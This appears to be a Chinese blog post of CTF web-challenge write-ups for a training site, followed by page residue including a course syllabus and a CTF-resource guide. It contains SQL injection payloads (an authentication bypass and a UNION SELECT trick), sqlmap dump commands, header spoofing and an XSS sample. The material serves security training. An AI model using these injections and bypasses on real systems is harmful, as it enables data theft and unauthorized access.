西普学院CTF习题解析——WEB(已完成16/16)

西普学院实验吧


web

预备


知识点

  • 页面调试
  • 审查元素
  • html js php asp sql 等语法基础
  • 请求头 响应头
  • 伪造IP
  • SQL注入基础
  • XSS基础
  • Web常用编码
  • “网站后台”概念及猜解、扫描技术
  • 脑洞

工具参考

  • BurpSuite
  • Firefox_firebug
  • Firefox_tamperdata
  • Firefox_modifyheader
  • 御剑
  • XSSEE(编码解码器)
  • sqlmap

题解

注:题目顺序随机

1 你能跨过去吗

首先在callback的value里发现%2b,%20等,说明有编码,对其进行Unescape。可使用在线工具:XSSEE
点击右侧的Unescape解码后字符串变成这样:

+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-

然后发现+/v+,故点击工具右侧UTF-7进行解码,得到:

+/v+ <script>alert("key:/%nsfocusXSStest%/")</script>-

看到key的值是:/%nsfocusXSStest/%
在网页提交之,得到过关key:%nsfocusXSStest%,提交过关


2 请输入密码

使用浏览器调试工具查源码(我用的firebug),直接看到js代码如下:

<script type="text/javascript">
    document.oncontextmenu=function(){return false};

    var a,b,c,d,e,f,g;
    a = 3.14;
    b = a * 2;
    c = a + b;
    d = c / b + a;
    e = c - d * b + a;
    f = e + d /c -b * a;
    g = f * e - d + c * b + a;
    a = g * g;
    a = Math.floor(a);

    function check(){
        if(document.getElementById("txt").value==a){
            return true;
        }else{
            alert("密码错误");
            return false;
        }
    }
</script>

由代码可知a的值就是password
在firebug右侧 审查元素 中直接看到a计算后值为 424178
登陆得到key:@#JSisagoodtool@#


3 进来就给你想要的

我用御剑直接扫了一下后台,发现几个地址,进去一看全都提示:

思路是对的,但是不在这儿,想想谁的权利最大

基本表明只能靠开脑洞了

于是想到除了admin之外的系统权限有哪些

试了一下Linux最高权限root,系统返回了一个404

又试了一下Windows最高权限system,页面打开可以看到“Directory Listing Denied”,跟之前输入root时的页面不一样,查看响应,发现目标返回了一个304 Not Modified,说明这个页面是作者处理过的,作者这么做必有其原因,果然查看页面源码发现key就在里面。

key:!!!WellDoneBrother!


4 猫抓老鼠

进去看到本题文字描述

catch!catch!catch!嘿嘿,不多说了,再说剧透了

这意思不就是让抓包吗?

刚想直接上burp,思考了一下,觉得数据包中除了应用层,其他地方也没法让出题人加上key的相关信息,所以直接用firebug查看了响应头。
发现可疑信息

Content-Row:MTQ0MjMxMzM3Nw==

一看这不是base64嘛,解之,得到1442313377
填进去居然给我返回check filed!
卧槽百思不得七姐啊
后来发现 MTQ0MjMxMzM3Nw== 这本身就是答案(真蛋疼)
填进去就会弹出key:#WWWnsf0cus_NET#


5 Forbidden

打开网页之后看到403 Forbidden
有提示信息:Make sure you are in HongKong

想到两个我们能够控制的输入点:IP、请求头
先试试简单的修改请求头吧

查看信息:

Accept  
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding 
gzip, deflate

Accept-Language 
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Connection  
keep-alive

Cookie  
隐了

DNT 
1

Host    
ctf1.simplexue.com

Referer 
http://www.simplexue.com/ctf/examctfdetail/21

User-Agent  
Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0

这里找一下能表示出“在香港”的信息的,只可能在 Accept-Language 里了

查一下用法,使用firefox的工具 tamperdata 或者 BurpSuite 拦截并修改请求,把 Accept-Language 中的 zh-CN 改成 zh-HK 然后提交

经tz同学提醒,答案区分了大小写:zh-hk是对的,大家注意下

OK拿到key:123JustUserAGent


6 貌似有点难

打开页面看到: 错误!你的IP不在允许列表之内!
点击下方的 View The Source Code
看到代码:

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

代码的意思很明显,把IP改成1.1.1.1就搞定。

使用Firefox插件 modify header 伪造IP
提交请求,得到key: http_client


7 这个看起来有点简单

页面给个框,url里还给了id,一看就是注入
看起来有点简单,爆起来更简单

题目是想让大家练习一下手注?不管了直接用sqlmap爆了

sql基本指令学习
sql中文用户手册

检测注入点OK:id
当前库:my_db
表:news thiskey
看thiskey字段:k0y
爆字段得到key:whati0MyD9ldump

行云流水


8 这新闻不新

同样用sqlmap直接爆了出来,sqlmap基础参考上题的链接

检查注入点

与上题不同的是注入点不在url,而需要用post提交

使用--data参数:
python sqlmap.py -u http://ctf5.simplexue.com:8080/9/asp.asp --data="title=1"

打表

python sqlmap.py -u http://ctf5.simplexue.com:8080/9/asp.asp --data="title=1" --tables

得到两个表:manager news

爆manager字段

python sqlmap.py -u http://ctf5.simplexue.com:8080/9/asp.asp --data="title=1" -T manager --columns

ColumnType
idnumeric
namenon-numeric
newsnon-numeric
passnon-numeric
titlenon-numeric

dump内容

python sqlmap.py -u http://ctf5.simplexue.com:8080/9/asp.asp --data="title=1" -T manager --C "name" --dump

idnamepassnewstitle
1keyTheJiuShiKeyg\tN\?caY)v\?84]\?e5l\x14[f

key: TheJiuShiKey


9 程序员的问题

习惯性的用sqlmap打了一遍,没出来。

认真看了题目,“程序员的问题”?!
也就是说我们可以从这道题里发现程序员的问题?
在哪里发现——代码

在源码中看到sql语句,想到构造sql注入,查了一下资料
在user框填入构造语句:

admin' or 1=1)#
提交,得到key:WWW_SIMPLEXUE_COM


10 头有点大

这题还是让修改请求头
提示说的很清楚了

Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Internet Explorer

对应的三个点是.NET版本,语言/地区,浏览器标识

使用TamperData拦截并修改请求:
+ .net 9.9 -> User-Agent 添加;.NET CLR 9.9
+ England -> Accept-Language 修改为 en-gb
+ IE -> 修改User-Agent

然后发送请求,返回key


11 what a fuck!这是什么鬼东西?

这个直接把页面内容复制下来,放到调试工具的console里跑一下,就会弹出key,实际是一段js的可执行代码


12 PHP大法

根据提示,访问index.php.txt,看到以下代码:

if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}

可以看出提交的URL里含有id=hackerDJ就能访问到key。

题中使用urldecode()对url进行解码,所以这里我们要对id=hackerDJ的部分或者全部内容编码 两次

这里还是使用XSSEE 对字母D进行两次编码
得到: %25%34%34

那么完整URL是:
http://ctf5.simplexue.com/DUTCTF/index.php?id=hacker%25%34%34J

返回key: DUTCTF{PHP_is_the_best_program_language}


13 程序逻辑问题

提示只有两个字:绕过

查看源码,有个index.txt,点进去查看到php代码如下:

我直接在代码里做注释吧

代码解析1

//$_POST[user]意思是读取用户在提交表单时输入的user值,$_POST[PASS]同理
//如果二者的值都不为空
if($_POST[user] && $_POST[pass]) {
    //连接数据库
    $conn = mysql_connect("********", "*****", "********");
    //选择数据库,如果出错,打印错误信息并终止代码运行
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
//将用户输入的user值存储到user变量
$user = $_POST[user];
//将用户输入的pass值,使用md5 hash后,存入pass变量
$pass = md5($_POST[pass]);

这一段没什么好说的,看懂就好,关键看出那个 MD5

代码解析2

//从表php中查找pw的值
//后半句的意思是:只保留user值为$user那一行的查找结果 
$sql = "select pw from php where user='$user'";

//查询语句的运行结果存入变量query之中
$query = mysql_query($sql);

//如果找不到,报错并终止
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}

//提取出query的值并以MYSQL_ASSOC格式存放在row之中
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

这段是解题关键!

首先我们看一下这个sql语句:
select pw from php where user='$user'
假设原表php是这样的:

iduserpw
0admin123
1cdxy456
2kkk789000000000

那么where user='admin'的意思就是只在第一行查找 pw

在执行完$row = mysql_fetch_array($query, MYSQL_ASSOC);之后
echo row[pw] 的结果就是表中 pw 的值 123

代码解析3

//如果row[pw]的值存在,且pass的值与row[pw]相同,则返回key
//strcasecmp是比较两个值大小,返回:-1,0,1
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
//否则返回登录失败
else {
    echo("<p>Log in failure!</p>");
  }
}

这里我们分析一下,首先要确保row[pw]存在。
这里pass的值是 用户提交的密码经过MD5hash之后的值
如果二者相同则拿到 key

解题过程

找输入输出

user一项的输出在php代码中如下:
$sql = "select pw from php where user='$user'";

看起来并未对输入进行过滤,我们试着打入引号,果然报错,证明注入点可用!

分析

此时用工具打表的话,意义不大,因为此题目标已经明晰,我们只要让row[pw]的值与pass经过md5之后的值相等即可。

$pass经过md5之后的值是我们可以通过正常输入控制的。
同时,row[pw]的值是从$sql提取出来的

因此,目标就一句话:只要我们能够修改$sql的值,此题解决。

再次审视注入点:$sql = "select pw from php where user='$user'";
在这里我们可以利用sql语句,直接给$sql返回一个值。
也就是说,不需要访问题里的数据库,只要我们修改了$sql的值,此题解决

构造

最终user的框里输入的内容为:
'AND 0=1 UNION SELECT "c4ca4238a0b923820dcc509a6f75849b" #

  • 最前面的单引号:闭合原文的where user='
  • AND 0=1:为了使前面的表达式返回值为空
    从而使select pw from php where user='' AND 0=1这句话完全没用
  • 接着我们使用UNION SELECT "c4ca4238a0b923820dcc509a6f75849b",直接把MD5值作为返回值retuen给$sql
  • c4ca4238a0b923820dcc509a6f75849b这串MD5值是数字1经过MD5 hash之后的结果
  • 最后的#用来注释掉后面没用的东西
  • 最终,将'AND 0=1 UNION SELECT "c4ca4238a0b923820dcc509a6f75849b" #输入到user框里,将数字1输入到pass框里,登录成功。
  • key:SimCTF{youhaocongming}

重要参考

Picto-CTF 2013


14 仔细点就行了(转)

要用到:asp基础,sql语句构造、猜解,长度限制绕过,最后还得编码,反正我是跪了

记一下:手动post的时候一定要编码

请看两位大神的解法:
[漏洞分析] CTF:ASP源码审计认证绕过
【WEB】仔细点就行了

6666666


15 菊花(转)

这题基于sql语句,过滤了一堆检测注入点所用的关键字。
考验了一下解题者的fuzzing和绕过。
啊咧,大牛们有没有针对sql注入好用的fuzzing的web插件或者工具呀?一定要留言赐教下呀!

当然了,这种小题对于我这么狂霸炫酷拽的选手,一定是…没做出来啊!

大家参考下gwenchill大牛的解题思路:
西普部分CTF题目(web)(持续更新)


16 看起来有点难

相比之前的两个题,这题就略简单了(不知道为什么设置的分值最高)。

爆的时候注意URL中的参数不要少,同时--data参数也全都填上,就ok了。

python sqlmap.py -u "http:ctf1.simplexue.com/basic/inject/index.php?admin=admin&pass=d&action=login" --data "admin=&pass=" -D test --table

具体sqlmap操作可参考本文前几题,不赘述了。

KEY :!@#WwwN5f0cu5coM


纪念一下

完工

西普ID:@cdxy
微信:DUDUBOOM
博客新地址 cdxy.me
欢迎爱好CTF的小伙伴一起讨论。

第1章 注入类 课时1:SQL注入原理与利用 19'40 课时2:SQL注入宽字节原理与利用42'08 课时3:SQL Union注入原理与利用01'01'54 课时4:SQL注入布尔注入50'02 课时5:报错注入原理与利用29'27 课时6:CTF SQL基于约束注入原理与利用12'22 课时7:SQL注入基于时间注入的原理与利用50'13 课时8:SQL基于时间盲注的Python自动化解题22'45 课时9:Sqlmap自动化注入工具介绍23'47 课时10:Sqlmap自动化注入实验 - POST注入13'34 课时11:SQL注入常用基础Trick18'15 第2章 代码执行与命令执行 课时1:代码执行介绍49'32 课时2:命令执行介绍20'14 课时3:命令执行分类20'12 课时4:命令执行技巧24'30 课时5:长度限制的命令执行25'46 课时6:无数字和字母命令执行10'27 第3章 文件上传与文件包含 课时1:文件上传漏洞原理与简单实验17'10 课时2:文件上传利用 - javascript客户端检查14'16 课时3:文件上传利用 - MIME类型检查10'50 课时4:文件上传利用 - 黑名单检查11'46 课时5:白名单检查13'09 课时6:Magic Header检查13'04 课时7:竞争上传21'10 课时8:简单利用15'47 课时9:文件包含介绍 - 伪协议zip和phar利用17'56 课时10:文件包含介绍-伪协议phpfilter利用04'54 课时11:日志文件利用07'58 课时12:日志文件利用session会话利用17'43 第4章 SSRF 课时1:SSRF介绍与简单利用19'14 课时2:SSRF限制绕过策略13'07 课时3:SSRF中可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-XML基础必备24'47 课时2:XXEXML盲注利用技巧18'22 第6章 第六章 课时1:序列化和反序列化介绍15'49 课时2:PHP反序列化识别与利用14'22 课时3:PHP序列化特殊点介绍15'28 课时4:魔术方法20'35 课时5:序列化漏洞案例 - 任意命令执行05'53 课时6:Phar反序列化10'38 第7章 第7章 Python基础 课时1:7.1-Requests模块安装与介绍15'28 课时2:7.2-Python requests库 使用18'26 课时3:7.3-XSS自动化检测13'23 课时4:7.4-Python-SQL自动化检测07'59 课时5:7.5-Python 源码泄露自动化挖掘23'38 第8章 第8章 SSTI模板注入 课时1:8.1-Flask框架介绍与基础39'14 课时2:8.2-RCE 文件读写23'37 课时3:8.3-SSTI Trick技巧27'13
### 如何获取CTF相关题目 可以通过特定网站来查找并下载CTF相关的题目。GitHub 和 CTFTIME 是两个主要的平台,用于分享和记录各种CTF比赛的内容及其资源。 #### 使用 GitHub 获取 CTF 资源 GitHub 上有大量的公开仓库专门整理了不同类型的 CTF 题目及相关资料。这些仓库通常由参赛者创建,包含了他们参与过的赛事中的挑战题目的解析过程、脚本以及其他辅助材料。例如,在搜索栏输入关键词 `ctf challenges` 或者更具体的类别名称如 `crypto ctf`, 可以快速定位到许多有价值的项目页面[^1]。 对于希望实践某些特殊环境设置下的竞赛场景的人士来说,“CTFd-Whale” 提供了一种基于容器化技术实现本地部署的方法,使得用户能够在自己的设备上重现完整的网络服务端口映射情况以便于研究学习[^2] 。此外还有配套使用的反向代理解决方案 frp-docker-for-ctfd-whale ,它帮助解决了跨地域连接测试服务器可能遇到的问题。 #### 利用 Ctftime.org 寻找历史赛事数据集 另一个不可忽视的重要来源就是 ctftime.org 自身。这个站点不仅列出了即将举行的各类在线安全夺旗赛日程安排表单;同时也维护了一个庞大的数据库档案库,其中收录了许多已结束项目的官方发布版本或者社区贡献出来的副本文件包链接地址列表。通过浏览过去的活动详情页下方附件区域往往能够直接获得压缩后的全套试题素材集合。 以下是两种方式的具体操作指南: 1. **从 Github 搜索**: 打开浏览器进入 github 官网界面, 在顶部全局查询框键入类似 "site:github.com ctf challenge download" 的组合条件语句执行检索动作; 2. **经由 Ctftime 组织方提供途径取得**: 前往官网首页导航菜单选择 'Past Events' 分类标签项下展开时间序列排列好的条目清单逐一审查感兴趣的目标对象直至发现附带可供提取介质选项为止. ```bash wget $(curl -s https://ctftime.org/event/list/past | grep -oP '(?<=href=")[^"]*(?=download)'| head -n 1) ``` 以上命令演示如何自动化抓取最近一期带有可下载标志位的比赛原始文档位置(需依据实际HTML结构调整正则表达式部分).
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值